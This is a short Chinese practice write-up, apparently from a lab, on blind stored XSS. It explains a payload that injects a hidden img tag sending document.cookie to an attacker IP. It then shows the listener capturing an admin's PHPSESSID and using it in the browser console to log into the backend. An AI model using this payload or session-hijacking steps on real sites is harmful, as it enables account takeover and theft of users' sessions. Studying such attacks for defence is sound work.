XSS 盲打【练习】

写入 xss 代码

这段代码是一个 JavaScript 脚本,它包含在 <script> 标签中。让我们逐行解释这段代码的含义:

  1. <script>: 这是 HTML 中用于包含 JavaScript 代码的标签。

  2. document.write(...): 这是一个 JavaScript 方法,用于将指定的内容写入到文档中。在这段代码中,它将会写入一段 HTML 代码。

  3. <img src="http://10.9.47.64/'+document.cookie+'" width=0 height=0 border=0/>: 这是一个 <img> 标签,用于在网页中显示图像。src 属性指定了图像的 URL,它的值是一个字符串拼接操作。在这里,http://10.9.47.64/ 是图像的 URL 的基础部分,而 document.cookie 是 JavaScript 的一个内置属性,用于获取当前网页的 Cookie。通过将这两部分拼接起来,将会生成一个完整的图像 URL。

整体来说,这段代码的目的是将当前网页的 Cookie 发送到 http://10.9.47.64/

<script>document.write(\'<img src=\"http://10.9.47.64/\'+document.cookie+\'\"width=0 height=0 border=0/>\')\;</script>

image-20231109152638407

image-20231109152836315

攻击机开启端口监听等待

image-20231109153042899

等待管理员访问后台后,获得 cookie 信息

"GET /username=admin;%20userid=1;%20PHPSESSID=7ambb6qqaovrkud61e98ldb6m4 HTTP/1.1" 404 -

document.cookie = “username=admin”

document.cookie = “userid=1”

document.cookie = “PHPSESSID=7ambb6qqaovrkud61e98ldb6m4”

image-20231109155600096

控制台输入,直接登录后台

image-20231109160211777

image-20231109160235973

image-20231109160251201

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值